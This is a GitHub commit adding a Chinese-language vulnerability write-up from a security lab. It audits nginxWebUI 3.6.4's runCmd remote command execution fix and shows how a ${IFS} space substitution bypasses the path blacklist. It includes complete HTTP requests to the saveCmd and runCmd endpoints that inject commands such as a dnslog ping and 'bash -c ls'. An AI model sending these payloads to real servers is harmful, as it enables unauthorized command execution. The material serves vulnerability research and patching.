-
Notifications
You must be signed in to change notification settings - Fork 413
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Upload new file: nginxWebUI 3.6.5 版本审计与绕过.md via simpread
- Loading branch information
Showing
1 changed file
with
166 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,166 @@ | ||
> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s/8lkpLbXte9kIbKyHdHLPyg) | ||
**概述** | ||
|
||
|
||
|
||
nginxWebUI runCmd 远程命令执行漏洞时间线: | ||
|
||
- 5 月 19 日 官方发布新版本(3.5.2)修复漏洞 | ||
|
||
- 5 月 26 日 漏洞细节在安全社区(火线)公开披露 | ||
|
||
- 6 月 29 官方发布 3.6.2 、3.6.3 进一步修复 runCmd 远程命令执行漏洞 | ||
|
||
- 6 月 30 官方发布 3.6.4 进一步修复 runCmd 远程命令执行漏洞 | ||
|
||
- 7 月 11 官方发布 3.6.6 进一步修复 runCmd 远程命令执行漏洞 | ||
|
||
目前已跟进版本: | ||
|
||
![](https://mmbiz.qpic.cn/sz_mmbiz_png/gauNkjeXJb6fZDzpPTVFaAJb8HjsicBqhHu02Ob6NzEPgRfZPpd2I0TxDX7yLu249vyA4pu3iaHsXbnJljoibPhQQ/640?wx_fmt=png) | ||
|
||
3.4.7-3.6.3 版本代码分析参考上一篇。 | ||
|
||
**3.6.4 版本审计** | ||
|
||
|
||
|
||
定位到命令执行接口:\nginxWebUI-3.6.4\src\main\java\com\cym\controller\adminPage\ConfController.java 330 行 | ||
|
||
![](https://mmbiz.qpic.cn/sz_mmbiz_png/gauNkjeXJb6fZDzpPTVFaAJb8HjsicBqh9kZ1g8UyVWXjzZDrFooibPrkDpOocc1IGVicWsbDJVZ1eCjQks7kicMHQ/640?wx_fmt=png) | ||
|
||
在这里 runcmd 接收 2 个参数:cmd 和 type。先检查 type 是否为空,不为空则调用 settingService.set(type, cmd) 使用配置文件的相关配置: | ||
|
||
![](https://mmbiz.qpic.cn/sz_mmbiz_png/gauNkjeXJb6fZDzpPTVFaAJb8HjsicBqhicDF0ej4H5MP2o6HtabGwH6gokqO5HDib7PMPlU7PZKiaY2DpRQ7W0kow/640?wx_fmt=png) | ||
|
||
然后使用了 if (!isAvailableCmd(cmd)) ,检查 cmd 是否为有效的命令 | ||
|
||
![](https://mmbiz.qpic.cn/sz_mmbiz_png/gauNkjeXJb6fZDzpPTVFaAJb8HjsicBqhEUfCiaavKusgNDsCiclENica3ibgiaH8L99A6vLzOpx5jkI1BTfqCkaJQzg/640?wx_fmt=png) | ||
|
||
跟一下! isAvailableCmd:366 行 | ||
|
||
![](https://mmbiz.qpic.cn/sz_mmbiz_png/gauNkjeXJb6fZDzpPTVFaAJb8HjsicBqhuzeo9OibAibSWdJgMnzVwib15ZFhq5JJQ21mk3co6sg6gcaianpOctC0qg/640?wx_fmt=png) | ||
|
||
一个布尔类型私有方法,检查 cmd 参数是否有效,过滤了获取的所有路径,检查命令是否属于以下命令: | ||
|
||
* "pkill nginx" | ||
|
||
* "taskkill /f /im nginx.exe" | ||
|
||
* "systemctl stop nginx" | ||
|
||
* "service nginx stop" | ||
|
||
* "net stop nginx" | ||
|
||
* "systemctl start nginx" | ||
|
||
* "service nginx start" | ||
|
||
* "net start nginx" | ||
|
||
|
||
符合返回 true,否则返回 false,并返回错误信息。然后将传入的值进行处理,并且与 nginxEXE 参数进行判断是否相等,即将命令与 nginx 服务端执行的命令进行对比。 | ||
|
||
随后回到 runcmd 方法:然后是一个判断系统为 win 或者 linux,调用不同的系统命令。 | ||
|
||
![](https://mmbiz.qpic.cn/sz_mmbiz_png/gauNkjeXJb6fZDzpPTVFaAJb8HjsicBqhH4pibJKnqJhHgicawcxp48ZITwMlK8KovO8GZhMhPRY8miap5a2hz0p1w/640?wx_fmt=png) | ||
|
||
然后对结果进行非空判断和内容正则。 | ||
|
||
![](https://mmbiz.qpic.cn/sz_mmbiz_png/gauNkjeXJb6fZDzpPTVFaAJb8HjsicBqhEbNP4ny9v5nhKUpCx7Q6181VqQDAcsBM3hOrvlcMU48GYqvvhHqIMQ/640?wx_fmt=png) | ||
|
||
**3.6.4 漏洞构造** | ||
|
||
|
||
|
||
根据前文代码的分析,要继续构造命令执行,就必须传入 cmd 参数,且绕过 isAvailableCmd 中对 nginxDir 和 nginxExe 的校验。 | ||
|
||
我们找到了处理这两个参数的 saveCmd 方法:272 行 | ||
|
||
![](https://mmbiz.qpic.cn/sz_mmbiz_png/gauNkjeXJb6fZDzpPTVFaAJb8HjsicBqhlEPUZn3paJROQUvWN26E2h2fib3Hf2vw4e8K2L1Krt4HIwZlg2zYT6w/640?wx_fmt=png) | ||
|
||
该方法接收三个参数 nginxPath、nginxExe 和 nginxDir,在方法内部调用 ToolUtils.handlePath 进行过滤处理,即黑名单的方式对以下空格和符号进行转义替换。 | ||
|
||
![](https://mmbiz.qpic.cn/sz_mmbiz_png/gauNkjeXJb6fZDzpPTVFaAJb8HjsicBqhWTyIkusWVFWjJpcqhia8cFKQYnKwtNVgSkYMIKhcGmnys55fCqxx21w/640?wx_fmt=png) | ||
|
||
**尝试绕过** | ||
|
||
|
||
|
||
在 linux 下,linux 把 ${IFS} 会被当做空格: | ||
|
||
![](https://mmbiz.qpic.cn/sz_mmbiz_png/gauNkjeXJb6fZDzpPTVFaAJb8HjsicBqhMwgkB01ia0QfZRhcCIWRIqehR3pOoOmZCIIzlKe9ppClOAPbibenBgog/640?wx_fmt=png) | ||
|
||
访问 nginxweibui | ||
|
||
![](https://mmbiz.qpic.cn/sz_mmbiz_png/gauNkjeXJb6fZDzpPTVFaAJb8HjsicBqhHG8Z4HyDJcVrUwtiagWJ3bPlgfyJKmt4QuWd4kwT6riaeC48msFhsEUA/640?wx_fmt=png) | ||
|
||
配置 nginxExe 参数:即将 isAvailableCmd 中的 nginxExe 预设成我们将要执行的命令。 | ||
|
||
![](https://mmbiz.qpic.cn/sz_mmbiz_png/gauNkjeXJb6fZDzpPTVFaAJb8HjsicBqhv0GsArwibIUp5Xvg1gtoCL7XhStM4G9QzPpvRMFmPzicaDRV8ROlicumw/640?wx_fmt=png) | ||
|
||
``` | ||
POST /adminPage/conf/saveCmd HTTP/1.1 | ||
Host: x.x.x.x:8080 | ||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 | ||
Accept: application/json, text/javascript, */*; q=0.01 | ||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 | ||
Accept-Encoding: gzip, deflate | ||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 | ||
X-Requested-With: XMLHttpRequest | ||
Content-Length: 47 | ||
Origin: http://x.x.x.x:8080 | ||
DNT: 1 | ||
Connection: close | ||
Referer: http://x.x.x.x:8080/adminPage/conf/runCmd | ||
Cookie:SOLONID=ce4041f594264664b6f51a641b8a77e2; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1689320655; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1689321911 | ||
nginxExe=ping${IFS}22dck7.dnslog.cn&nginxPath=1 | ||
``` | ||
|
||
命令执行: | ||
|
||
![](https://mmbiz.qpic.cn/sz_mmbiz_png/gauNkjeXJb6fZDzpPTVFaAJb8HjsicBqhRBAq4847uhsQk45eJyg9iaXXmYMRYY3HgaVkmr0I1icIRianb3fpuyE1Q/640?wx_fmt=png) | ||
|
||
``` | ||
POST /adminPage/conf/runCmd HTTP/1.1 | ||
Host: x.x.x.x:8080 | ||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 | ||
Accept: application/json, text/javascript, */*; q=0.01 | ||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 | ||
Accept-Encoding: gzip, deflate | ||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 | ||
X-Requested-With: XMLHttpRequest | ||
Content-Length: 35 | ||
Origin: http://x.x.x.x:8080 | ||
DNT: 1 | ||
Connection: close | ||
Referer: http://x.x.x.x:8080/adminPage/conf/runCmd | ||
Cookie: SOLONID=ce4041f594264664b6f51a641b8a77e2; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1689320655; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1689321911 | ||
cmd=ping${IFS}22dck7.dnslog.cn -c 1 | ||
``` | ||
|
||
Dnslog 返回成功。 | ||
|
||
![](https://mmbiz.qpic.cn/sz_mmbiz_png/gauNkjeXJb6fZDzpPTVFaAJb8HjsicBqhylofesLwhwgZAhLTJ09bEdlibNOQ33aWqCx0gKxC2bJmEGNhlPBBmNQ/640?wx_fmt=png) | ||
|
||
其他命令: | ||
|
||
``` | ||
POST /adminPage/conf/saveCmd HTTP/1.1Host: xxx | ||
nginxExe=bash${IFS}&nginxPath=ls | ||
``` | ||
|
||
``` | ||
POST /adminPage/conf/runCmd HTTP/1.1Host: xxxx | ||
cmd=bash${IFS} -c ls | ||
``` | ||
|
||
![](https://mmbiz.qpic.cn/mmbiz_gif/C6nwdaicQKwWT4HLCv7hz9cCjEYLXqWZJayhCdh0Ix1GdDpSicv8wAlW178gA8TSndNp9mZcsYGr6ubhibS8Odomg/640?wx_fmt=gif) | ||
|
||
美创科技旗下第 59 号实验室,专注于数据安全技术领域研究,聚焦于安全防御理念、攻防技术、威胁情报等专业研究,进行知识产权转化并赋能于产品。累计向 CNVD、CNNVD 等平台提报数百个高质量原创漏洞,发明专利数十篇,团队著有《数据安全实践指南》 |